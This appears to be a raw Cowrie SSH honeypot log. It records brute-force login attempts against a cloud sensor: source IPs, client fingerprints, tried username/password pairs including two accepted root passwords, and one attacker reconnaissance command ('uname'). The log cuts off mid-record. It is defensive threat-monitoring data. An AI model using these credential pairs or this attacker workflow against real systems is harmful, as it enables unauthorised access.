{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:22.289884Z","src_ip":"34.81.72.185","session":"1764a462198f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.255.212","src_port":51648,"dst_ip":"10.17.0.5","dst_port":22,"session":"74fce9788f45","protocol":"ssh","message":"New connection: 209.38.255.212:51648 (10.17.0.5:22) [session: 74fce9788f45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:26.672931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:26.677311Z","src_ip":"209.38.255.212","session":"74fce9788f45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:26.758635Z","src_ip":"209.38.255.212","session":"74fce9788f45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test001","password":"password","message":"login attempt [test001/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:27.116514Z","src_ip":"209.38.255.212","session":"74fce9788f45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:28.200212Z","src_ip":"209.38.255.212","session":"74fce9788f45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.238.246.148","src_port":33062,"dst_ip":"10.17.0.5","dst_port":22,"session":"9de6f2307c9f","protocol":"ssh","message":"New connection: 156.238.246.148:33062 (10.17.0.5:22) [session: 9de6f2307c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:28.212976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:28.217012Z","src_ip":"156.238.246.148","session":"9de6f2307c9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:28.424748Z","src_ip":"156.238.246.148","session":"9de6f2307c9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sky","password":"sky123","message":"login attempt [sky/sky123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:29.286512Z","src_ip":"156.238.246.148","session":"9de6f2307c9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:30.495307Z","src_ip":"156.238.246.148","session":"9de6f2307c9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.154.133.166","src_port":36510,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a06f86340d7","protocol":"ssh","message":"New connection: 220.154.133.166:36510 (159.203.135.109:22) [session: 4a06f86340d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:33.695868Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:33.919888Z","src_ip":"220.154.133.166","session":"4a06f86340d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.154.133.166","src_port":36518,"dst_ip":"159.203.135.109","dst_port":22,"session":"29f61da30d26","protocol":"ssh","message":"New connection: 220.154.133.166:36518 (159.203.135.109:22) [session: 29f61da30d26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:34.178858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:34.182337Z","src_ip":"220.154.133.166","session":"29f61da30d26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:34.435202Z","src_ip":"220.154.133.166","session":"29f61da30d26","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"------fuck------","message":"login attempt [root/------fuck------] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:35.469003Z","src_ip":"220.154.133.166","session":"29f61da30d26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.137.141","src_port":41936,"dst_ip":"159.203.135.109","dst_port":22,"session":"83f067c65586","protocol":"ssh","message":"New connection: 5.75.137.141:41936 (159.203.135.109:22) [session: 83f067c65586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:39.265465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:39.269279Z","src_ip":"5.75.137.141","session":"83f067c65586","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:39.357940Z","src_ip":"5.75.137.141","session":"83f067c65586","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mana","password":"mana!","message":"login attempt [mana/mana!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:39.541144Z","src_ip":"5.75.137.141","session":"83f067c65586","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:40.632672Z","src_ip":"5.75.137.141","session":"83f067c65586","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":54986,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c9fde6a772d","protocol":"ssh","message":"New connection: 23.249.28.115:54986 (10.17.0.5:22) [session: 4c9fde6a772d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:41.149685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:41.154443Z","src_ip":"23.249.28.115","session":"4c9fde6a772d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:41.340262Z","src_ip":"23.249.28.115","session":"4c9fde6a772d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"12345","message":"login attempt [vyos/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:42.115512Z","src_ip":"23.249.28.115","session":"4c9fde6a772d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:43.305567Z","src_ip":"23.249.28.115","session":"4c9fde6a772d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.144.91.67","src_port":41154,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3af7545dc2b","protocol":"ssh","message":"New connection: 24.144.91.67:41154 (10.17.0.5:22) [session: a3af7545dc2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:51.467407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:51.471699Z","src_ip":"24.144.91.67","session":"a3af7545dc2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:51.533717Z","src_ip":"24.144.91.67","session":"a3af7545dc2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:51.816129Z","src_ip":"24.144.91.67","session":"a3af7545dc2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:52.880905Z","src_ip":"24.144.91.67","session":"a3af7545dc2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":45924,"dst_ip":"10.17.0.5","dst_port":22,"session":"de697948526b","protocol":"ssh","message":"New connection: 162.120.6.20:45924 (10.17.0.5:22) [session: de697948526b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:53:37.828599Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:53:37.900348Z","src_ip":"162.120.6.20","session":"de697948526b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":45934,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ec3c4804e98","protocol":"ssh","message":"New connection: 162.120.6.20:45934 (10.17.0.5:22) [session: 9ec3c4804e98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:53:37.962714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:53:37.967688Z","src_ip":"162.120.6.20","session":"9ec3c4804e98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:53:38.035912Z","src_ip":"162.120.6.20","session":"9ec3c4804e98","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"QWE@asd123.","message":"login attempt [root/QWE@asd123.] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:53:38.240241Z","src_ip":"162.120.6.20","session":"9ec3c4804e98","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:53:38.419153Z","src_ip":"162.120.6.20","session":"9ec3c4804e98","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:53:38.422499Z","src_ip":"162.120.6.20","session":"9ec3c4804e98","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:53:38.494607Z","src_ip":"162.120.6.20","session":"9ec3c4804e98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:53:38.499402Z","src_ip":"162.120.6.20","session":"9ec3c4804e98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.249.165","src_port":58740,"dst_ip":"159.203.135.109","dst_port":22,"session":"247f2313a4af","protocol":"ssh","message":"New connection: 131.161.249.165:58740 (159.203.135.109:22) [session: 247f2313a4af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:53:47.577652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:53:47.582226Z","src_ip":"131.161.249.165","session":"247f2313a4af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 